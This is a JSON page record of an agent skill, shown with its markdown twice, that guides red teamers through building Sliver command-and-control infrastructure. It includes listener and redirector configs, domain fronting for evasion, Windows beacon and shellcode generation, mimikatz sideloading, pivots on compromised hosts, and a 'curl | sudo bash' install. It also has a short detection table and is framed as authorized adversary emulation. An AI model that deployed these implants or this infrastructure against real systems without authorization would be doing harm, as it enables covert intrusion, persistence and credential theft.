[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6HCGETF15EMMS8SF3FXHMGH":3,"skill-same:01M6HCGETF15EMMS8SF3FXHMGH":124},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":39,"linkOnly":40,"markdownContent":41,"markdownBody":42,"frontMatter":43,"refName":67,"commitSha":68,"skillDirectory":69,"forksCount":70,"repositoryHtmlUrl":71,"repositoryHomepageUrl":6,"ownerHtmlUrl":72,"ownerBlogUrl":6,"ownerDescription":73,"updatedAt":74,"install":75,"resources":88},"01M6HCGETF15EMMS8SF3FXHMGH","building-c2-infrastructure-with-sliver-framework",null,"Build and configure a resilient command-and-control infrastructure using BishopFox's Sliver C2 framework with redirectors, HTTPS listeners, and multi-operator support for authorized red team engagements.","HenriqueMC17\u002Fagente-core","HenriqueMC17","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F206460478?v=4","01M6HB63HBBF18AC4H09XTB549","Henrique Monteiro Cardoso","01M6HB63NGSQXWKWCFWW2B20W0",1,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fbuilding-c2-infrastructure-with-sliver-framework\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],"building c2 infrastructure with sliver framework","with","sliver","c2","framework","infrastructure","operator","command-and-control","c2-framework","adversary-simulation","cybersecurity","c2-infrastructure","analysis","simulation","team","configure","command","conversion","de","support","2026-11-10 10:12:30",false,"---\nname: building-c2-infrastructure-with-sliver-framework\ndescription: Build and configure a resilient command-and-control infrastructure using BishopFox's Sliver C2 framework with redirectors, HTTPS listeners, and multi-operator support for authorized red team engagements.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- red-team\n- c2-framework\n- sliver\n- command-and-control\n- adversary-simulation\n- infrastructure\n- post-exploitation\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nd3fend_techniques:\n- File Metadata Consistency Validation\n- Certificate Analysis\n- Application Protocol Command Analysis\n- Content Format Conversion\n- File Content Analysis\nnist_csf:\n- ID.RA-01\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1071.001\n- T1071.004\n- T1573.002\n- T1090.002\n- T1105\n- T1572\ncategory: building-c2-infrastructure-with-sliver-framework\n---\n# Building C2 Infrastructure with Sliver Framework\n\n## Overview\n\nSliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP\u002FS, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.\n\n\n## When to Use\n\n- When deploying or configuring building c2 infrastructure with sliver framework capabilities in your environment\n- When establishing security controls aligned to compliance requirements\n- When building or improving security architecture for this domain\n- When conducting security assessments that require this implementation\n\n## Prerequisites\n\n- Familiarity with red teaming concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Objectives\n\n- Deploy a Sliver team server on hardened cloud infrastructure\n- Configure HTTPS, mTLS, DNS, and WireGuard listeners\n- Generate implants (beacons and sessions) for target platforms\n- Set up NGINX or Apache redirectors between implants and the team server\n- Implement Cloudflare or CDN-based domain fronting for traffic obfuscation\n- Configure multi-operator access with certificate-based authentication\n- Establish operational security controls for C2 communications\n\n## MITRE ATT&CK Mapping\n\n- **T1071.001** - Application Layer Protocol: Web Protocols\n- **T1071.004** - Application Layer Protocol: DNS\n- **T1573.002** - Encrypted Channel: Asymmetric Cryptography\n- **T1090.002** - Proxy: External Proxy (Redirectors)\n- **T1105** - Ingress Tool Transfer\n- **T1132.001** - Data Encoding: Standard Encoding\n- **T1572** - Protocol Tunneling\n\n## Workflow\n\n### Phase 1: Team Server Deployment\n1. Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server\n2. Harden the OS: disable SSH password auth, configure UFW\u002Fiptables, install fail2ban\n3. Install Sliver using the official install script:\n   ```bash\n   curl https:\u002F\u002Fsliver.sh\u002Finstall | sudo bash\n   ```\n4. Start the Sliver server daemon:\n   ```bash\n   systemctl start sliver\n   # Or run interactively\n   sliver-server\n   ```\n5. Generate operator configuration files for team members:\n   ```bash\n   new-operator --name operator1 --lhost \u003Cteam-server-ip>\n   ```\n\n### Phase 2: Listener Configuration\n1. Configure an HTTPS listener with a legitimate SSL certificate:\n   ```bash\n   https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert \u002Fpath\u002Fto\u002Fcert.pem --key \u002Fpath\u002Fto\u002Fkey.pem\n   ```\n2. Configure a DNS listener for fallback C2:\n   ```bash\n   dns --domains c2dns.example.com --lport 53\n   ```\n3. Configure mTLS listener for high-security sessions:\n   ```bash\n   mtls --lhost 0.0.0.0 --lport 8888\n   ```\n4. Configure WireGuard listener for tunneled access:\n   ```bash\n   wg --lport 51820\n   ```\n\n### Phase 3: Redirector Setup\n1. Deploy a separate VPS as a redirector (positioned between targets and team server)\n2. Install and configure NGINX as a reverse proxy:\n   ```nginx\n   server {\n       listen 443 ssl;\n       server_name c2.example.com;\n       ssl_certificate \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.example.com\u002Ffullchain.pem;\n       ssl_certificate_key \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.example.com\u002Fprivkey.pem;\n\n       location \u002F {\n           proxy_pass https:\u002F\u002F\u003Cteam-server-ip>:443;\n           proxy_ssl_verify off;\n           proxy_set_header Host $host;\n           proxy_set_header X-Real-IP $remote_addr;\n       }\n   }\n   ```\n3. Configure iptables rules on the team server to only accept connections from the redirector:\n   ```bash\n   iptables -A INPUT -p tcp --dport 443 -s \u003Credirector-ip> -j ACCEPT\n   iptables -A INPUT -p tcp --dport 443 -j DROP\n   ```\n4. Optionally set up Cloudflare as a CDN layer in front of the redirector for domain fronting\n\n### Phase 4: Implant Generation\n1. Generate an HTTPS beacon implant:\n   ```bash\n   generate beacon --http https:\u002F\u002Fc2.example.com --os windows --arch amd64 --format exe --name payload\n   ```\n2. Generate a DNS beacon for restricted networks:\n   ```bash\n   generate beacon --dns c2dns.example.com --os windows --arch amd64\n   ```\n3. Generate a shellcode payload for injection:\n   ```bash\n   generate --http https:\u002F\u002Fc2.example.com --os windows --arch amd64 --format shellcode\n   ```\n4. Configure beacon jitter and callback intervals:\n   ```bash\n   generate beacon --http https:\u002F\u002Fc2.example.com --seconds 60 --jitter 30\n   ```\n\n### Phase 5: Post-Exploitation Operations\n1. Interact with active beacons\u002Fsessions:\n   ```bash\n   beacons        # List active beacons\n   use \u003Cbeacon-id> # Interact with a beacon\n   ```\n2. Execute post-exploitation modules:\n   ```bash\n   ps              # Process listing\n   netstat         # Network connections\n   execute-assembly \u002Fpath\u002Fto\u002FSeatbelt.exe -group=all  # Run .NET assemblies\n   sideload \u002Fpath\u002Fto\u002Fmimikatz.dll  # Load DLLs\n   ```\n3. Set up pivots for internal network access:\n   ```bash\n   pivots tcp --bind 0.0.0.0:9898  # Create pivot listener on compromised host\n   ```\n4. Use BOF (Beacon Object Files) for in-memory execution:\n   ```bash\n   armory install sa-ldapsearch  # Install from armory\n   sa-ldapsearch -- \"(objectClass=user)\"  # Execute BOF\n   ```\n\n## Tools and Resources\n\n| Tool | Purpose | Platform |\n|------|---------|----------|\n| Sliver Server | C2 team server and implant management | Linux\u002FmacOS\u002FWindows |\n| Sliver Client | Operator console for team members | Cross-platform |\n| NGINX | Redirector and reverse proxy | Linux |\n| Certbot | Let's Encrypt SSL certificate generation | Linux |\n| Cloudflare | CDN and domain fronting | Cloud |\n| Armory | Sliver extension\u002FBOF package manager | Built-in |\n\n## Detection Signatures\n\n| Indicator | Detection Method |\n|-----------|-----------------|\n| Default Sliver HTTP headers | Network traffic analysis for unusual User-Agent strings |\n| mTLS on non-standard ports | Firewall logs for outbound connections to unusual ports |\n| DNS TXT record queries with high entropy | DNS log analysis for encoded C2 traffic |\n| WireGuard UDP traffic on port 51820 | Network flow analysis for WireGuard handshake patterns |\n| Sliver implant file hashes | EDR\u002FAV signature matching against known Sliver samples |\n\n## Validation Criteria\n\n- [ ] Team server deployed and hardened with firewall rules\n- [ ] HTTPS listener configured with valid SSL certificate\n- [ ] DNS listener configured as fallback C2 channel\n- [ ] At least one redirector deployed between targets and team server\n- [ ] Multi-operator access configured with unique certificates\n- [ ] Implants generated for target operating systems\n- [ ] Beacon callback intervals and jitter configured for stealth\n- [ ] Post-exploitation modules tested (process listing, .NET assembly execution)\n- [ ] Pivot functionality validated for internal network access\n- [ ] All C2 traffic encrypted and passing through redirectors\n","# Building C2 Infrastructure with Sliver Framework\n\n## Overview\n\nSliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP\u002FS, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.\n\n\n## When to Use\n\n- When deploying or configuring building c2 infrastructure with sliver framework capabilities in your environment\n- When establishing security controls aligned to compliance requirements\n- When building or improving security architecture for this domain\n- When conducting security assessments that require this implementation\n\n## Prerequisites\n\n- Familiarity with red teaming concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Objectives\n\n- Deploy a Sliver team server on hardened cloud infrastructure\n- Configure HTTPS, mTLS, DNS, and WireGuard listeners\n- Generate implants (beacons and sessions) for target platforms\n- Set up NGINX or Apache redirectors between implants and the team server\n- Implement Cloudflare or CDN-based domain fronting for traffic obfuscation\n- Configure multi-operator access with certificate-based authentication\n- Establish operational security controls for C2 communications\n\n## MITRE ATT&CK Mapping\n\n- **T1071.001** - Application Layer Protocol: Web Protocols\n- **T1071.004** - Application Layer Protocol: DNS\n- **T1573.002** - Encrypted Channel: Asymmetric Cryptography\n- **T1090.002** - Proxy: External Proxy (Redirectors)\n- **T1105** - Ingress Tool Transfer\n- **T1132.001** - Data Encoding: Standard Encoding\n- **T1572** - Protocol Tunneling\n\n## Workflow\n\n### Phase 1: Team Server Deployment\n1. Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server\n2. Harden the OS: disable SSH password auth, configure UFW\u002Fiptables, install fail2ban\n3. Install Sliver using the official install script:\n   ```bash\n   curl https:\u002F\u002Fsliver.sh\u002Finstall | sudo bash\n   ```\n4. Start the Sliver server daemon:\n   ```bash\n   systemctl start sliver\n   # Or run interactively\n   sliver-server\n   ```\n5. Generate operator configuration files for team members:\n   ```bash\n   new-operator --name operator1 --lhost \u003Cteam-server-ip>\n   ```\n\n### Phase 2: Listener Configuration\n1. Configure an HTTPS listener with a legitimate SSL certificate:\n   ```bash\n   https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert \u002Fpath\u002Fto\u002Fcert.pem --key \u002Fpath\u002Fto\u002Fkey.pem\n   ```\n2. Configure a DNS listener for fallback C2:\n   ```bash\n   dns --domains c2dns.example.com --lport 53\n   ```\n3. Configure mTLS listener for high-security sessions:\n   ```bash\n   mtls --lhost 0.0.0.0 --lport 8888\n   ```\n4. Configure WireGuard listener for tunneled access:\n   ```bash\n   wg --lport 51820\n   ```\n\n### Phase 3: Redirector Setup\n1. Deploy a separate VPS as a redirector (positioned between targets and team server)\n2. Install and configure NGINX as a reverse proxy:\n   ```nginx\n   server {\n       listen 443 ssl;\n       server_name c2.example.com;\n       ssl_certificate \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.example.com\u002Ffullchain.pem;\n       ssl_certificate_key \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.example.com\u002Fprivkey.pem;\n\n       location \u002F {\n           proxy_pass https:\u002F\u002F\u003Cteam-server-ip>:443;\n           proxy_ssl_verify off;\n           proxy_set_header Host $host;\n           proxy_set_header X-Real-IP $remote_addr;\n       }\n   }\n   ```\n3. Configure iptables rules on the team server to only accept connections from the redirector:\n   ```bash\n   iptables -A INPUT -p tcp --dport 443 -s \u003Credirector-ip> -j ACCEPT\n   iptables -A INPUT -p tcp --dport 443 -j DROP\n   ```\n4. Optionally set up Cloudflare as a CDN layer in front of the redirector for domain fronting\n\n### Phase 4: Implant Generation\n1. Generate an HTTPS beacon implant:\n   ```bash\n   generate beacon --http https:\u002F\u002Fc2.example.com --os windows --arch amd64 --format exe --name payload\n   ```\n2. Generate a DNS beacon for restricted networks:\n   ```bash\n   generate beacon --dns c2dns.example.com --os windows --arch amd64\n   ```\n3. Generate a shellcode payload for injection:\n   ```bash\n   generate --http https:\u002F\u002Fc2.example.com --os windows --arch amd64 --format shellcode\n   ```\n4. Configure beacon jitter and callback intervals:\n   ```bash\n   generate beacon --http https:\u002F\u002Fc2.example.com --seconds 60 --jitter 30\n   ```\n\n### Phase 5: Post-Exploitation Operations\n1. Interact with active beacons\u002Fsessions:\n   ```bash\n   beacons        # List active beacons\n   use \u003Cbeacon-id> # Interact with a beacon\n   ```\n2. Execute post-exploitation modules:\n   ```bash\n   ps              # Process listing\n   netstat         # Network connections\n   execute-assembly \u002Fpath\u002Fto\u002FSeatbelt.exe -group=all  # Run .NET assemblies\n   sideload \u002Fpath\u002Fto\u002Fmimikatz.dll  # Load DLLs\n   ```\n3. Set up pivots for internal network access:\n   ```bash\n   pivots tcp --bind 0.0.0.0:9898  # Create pivot listener on compromised host\n   ```\n4. Use BOF (Beacon Object Files) for in-memory execution:\n   ```bash\n   armory install sa-ldapsearch  # Install from armory\n   sa-ldapsearch -- \"(objectClass=user)\"  # Execute BOF\n   ```\n\n## Tools and Resources\n\n| Tool | Purpose | Platform |\n|------|---------|----------|\n| Sliver Server | C2 team server and implant management | Linux\u002FmacOS\u002FWindows |\n| Sliver Client | Operator console for team members | Cross-platform |\n| NGINX | Redirector and reverse proxy | Linux |\n| Certbot | Let's Encrypt SSL certificate generation | Linux |\n| Cloudflare | CDN and domain fronting | Cloud |\n| Armory | Sliver extension\u002FBOF package manager | Built-in |\n\n## Detection Signatures\n\n| Indicator | Detection Method |\n|-----------|-----------------|\n| Default Sliver HTTP headers | Network traffic analysis for unusual User-Agent strings |\n| mTLS on non-standard ports | Firewall logs for outbound connections to unusual ports |\n| DNS TXT record queries with high entropy | DNS log analysis for encoded C2 traffic |\n| WireGuard UDP traffic on port 51820 | Network flow analysis for WireGuard handshake patterns |\n| Sliver implant file hashes | EDR\u002FAV signature matching against known Sliver samples |\n\n## Validation Criteria\n\n- [ ] Team server deployed and hardened with firewall rules\n- [ ] HTTPS listener configured with valid SSL certificate\n- [ ] DNS listener configured as fallback C2 channel\n- [ ] At least one redirector deployed between targets and team server\n- [ ] Multi-operator access configured with unique certificates\n- [ ] Implants generated for target operating systems\n- [ ] Beacon callback intervals and jitter configured for stealth\n- [ ] Post-exploitation modules tested (process listing, .NET assembly execution)\n- [ ] Pivot functionality validated for internal network access\n- [ ] All C2 traffic encrypted and passing through redirectors\n",{"name":5,"tags":44,"author":47,"domain":29,"license":15,"version":48,"category":5,"nist_csf":49,"subdomain":53,"description":7,"mitre_attack":54,"d3fend_techniques":61},[45,27,21,26,28,24,46],"red-team","post-exploitation","mahipal","1.0",[50,51,52],"ID.RA-01","GV.OV-02","DE.AE-07","red-teaming",[55,56,57,58,59,60],"T1071.001","T1071.004","T1573.002","T1090.002","T1105","T1572",[62,63,64,65,66],"File Metadata Consistency Validation","Certificate Analysis","Application Protocol Command Analysis","Content Format Conversion","File Content Analysis","main","5eea5b3296f4673b5f481e8bcc1ba76281149f16","modules\u002Fbuilding-c2-infrastructure-with-sliver-framework",0,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core","https:\u002F\u002Fgithub.com\u002FHenriqueMC17","Qualquer tecnologia suficientemente avançada é indistinguível da mágica.","2026-09-28 22:40:38",{"source":8,"skillName":5,"commands":76,"prompt":86,"zipAvailable":87},[77,80,83],{"tool":78,"command":79},"npx","npx skills add HenriqueMC17\u002Fagente-core --skill building-c2-infrastructure-with-sliver-framework",{"tool":81,"command":82},"bunx","bunx skills add HenriqueMC17\u002Fagente-core --skill building-c2-infrastructure-with-sliver-framework",{"tool":84,"command":85},"pnpm","pnpm dlx skills add HenriqueMC17\u002Fagente-core --skill building-c2-infrastructure-with-sliver-framework","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fbuilding-c2-infrastructure-with-sliver-framework\u002FSKILL.md",true,[89,95,100,106,110,114,120],{"path":90,"resourceType":91,"resourceTypeDesc":92,"sizeBytes":93,"sourceHtmlUrl":94},"assets\u002Ftemplate.md","ASSET","资产文件",2028,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fbuilding-c2-infrastructure-with-sliver-framework\u002Fassets\u002Ftemplate.md",{"path":96,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":98,"sourceHtmlUrl":99},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fbuilding-c2-infrastructure-with-sliver-framework\u002FLICENSE",{"path":101,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":104,"sourceHtmlUrl":105},"references\u002Fapi-reference.md","REFERENCE","参考文档",1633,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fbuilding-c2-infrastructure-with-sliver-framework\u002Freferences\u002Fapi-reference.md",{"path":107,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":108,"sourceHtmlUrl":109},"references\u002Fstandards.md",1322,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fbuilding-c2-infrastructure-with-sliver-framework\u002Freferences\u002Fstandards.md",{"path":111,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":112,"sourceHtmlUrl":113},"references\u002Fworkflows.md",2401,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fbuilding-c2-infrastructure-with-sliver-framework\u002Freferences\u002Fworkflows.md",{"path":115,"resourceType":116,"resourceTypeDesc":117,"sizeBytes":118,"sourceHtmlUrl":119},"scripts\u002Fagent.py","SCRIPT","脚本",4694,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fbuilding-c2-infrastructure-with-sliver-framework\u002Fscripts\u002Fagent.py",{"path":121,"resourceType":116,"resourceTypeDesc":117,"sizeBytes":122,"sourceHtmlUrl":123},"scripts\u002Fprocess.py",6319,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fbuilding-c2-infrastructure-with-sliver-framework\u002Fscripts\u002Fprocess.py",[125,156,180,201,217,237],{"skillNo":126,"name":127,"nameZh":6,"description":128,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":129,"categories":130,"keywords":136,"publishedAt":39},"01M6HPFF0RCN0X6WT5EBSV71GY","validating-backup-integrity-for-recovery","Validate backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to ensure backups are reliable for disaster recovery and ransomware response scenarios.","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[131],{"categoryNo":132,"categoryName":133,"taxonomyType":134,"taxonomyTypeDesc":135},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[137,138,139,140,141,142,29,143,144,145,146,147,148,149,150,151,152,153,154,155],"integrity","backup","recovery","validating backup integrity for recovery","for","testing","validate","verification","hash-verification","incident-response","ransomware","detection","t1078","t1490","disaster-recovery","restore","incident","disaster recovery","ransomware response",{"skillNo":157,"name":158,"nameZh":6,"description":159,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":160,"categories":161,"keywords":162,"publishedAt":39},"01M6HPFAWJVFK25Q33K3T7WQ8G","triaging-vulnerabilities-with-ssvc-framework","Triage and prioritize vulnerabilities using CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree framework to produce actionable remediation priorities.","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[],[163,23,164,165,20,29,166,167,168,169,170,171,172,173,174,175,176,177,178,179],"vulnerabilities","ssvc","triaging vulnerabilities with ssvc framework","triage and prioritize","CISA","vulnerability-management","risk-management","cvss","remediation","vulnerability","prioritization","decision-tree","prioritize","decision","priorities","actionable","tree",{"skillNo":181,"name":182,"nameZh":6,"description":183,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":184,"categories":185,"keywords":186,"publishedAt":39},"01M6HPF6JS9X72WP59094H3ASQ","triaging-security-incident","Performs initial triage of security incidents to determine severity, scope, and required response actions using the NIST SP 800-61r3 and SANS PICERL frameworks. Classifies incidents by type, assigns priority based on business impact, and routes...","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-security-incident\u002FSKILL.md",[],[187,188,153,29,189,190,191,149,150,31,192,193,194,195,196,36,197,198,199,200],"security","triaging security incident","actions","soc","NIST","severity-classification","incident-triage","SANS-PICERL","SOC-operations","picerl","isolation","scope","impact","consistency",{"skillNo":202,"name":203,"nameZh":6,"description":204,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":205,"categories":206,"keywords":207,"publishedAt":39},"01M6HPF2EX6ZYNYYHKBRJN7GEF","triaging-security-incident-with-ir-playbook","Classify and prioritize security incidents using structured IR playbooks to determine severity, assign response teams, and initiate appropriate response procedures.","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-security-incident-with-ir-playbook\u002FSKILL.md",[],[187,208,209,188,153,20,29,210,190,146,211,212,149,150,213,192,175,214,215,216],"playbook","triaging security incident with ir playbook","teams","IR-playbook","severity","classification","classify","incidents","initiate",{"skillNo":218,"name":219,"nameZh":6,"description":220,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":221,"categories":222,"keywords":223,"publishedAt":39},"01M6HPEY9XPGE7X95AG4XJFQAW","triaging-security-alerts-in-splunk","Triages security alerts in Splunk Enterprise Security by classifying severity, investigating notable events, correlating related telemetry, and making escalation or closure decisions using SPL queries and the Incident Review dashboard. Use when...","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-security-alerts-in-splunk\u002FSKILL.md",[],[187,224,225,226,227,228,29,229,230,231,190,232,149,233,234,235,195,236,153,37],"security alerts","splunk","triaging security alerts in splunk","alerts","review","siem","dashboard","search","correlation-search","t1566","notable-events","incident-review","cm",{"skillNo":238,"name":239,"nameZh":6,"description":240,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":241,"categories":242,"keywords":243,"publishedAt":39},"01M6HPET6XGEPEJPN7V032JGZ0","tracking-threat-actor-infrastructure","Threat actor infrastructure tracking involves monitoring and mapping adversary-controlled assets including command-and-control (C2) servers, phishing domains, exploit kit hosts, bulletproof hosting, a","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftracking-threat-actor-infrastructure\u002FSKILL.md",[],[24,244,245,246,29,247,248,249,250,26,251,233,35,252,236,253,37,254,255,256],"tracking threat actor infrastructure","tracking","threat","monitoring","mitre-attack","threat-actor","threat-intelligence","dns","exploit","intelligence","domains","kit","hosts"]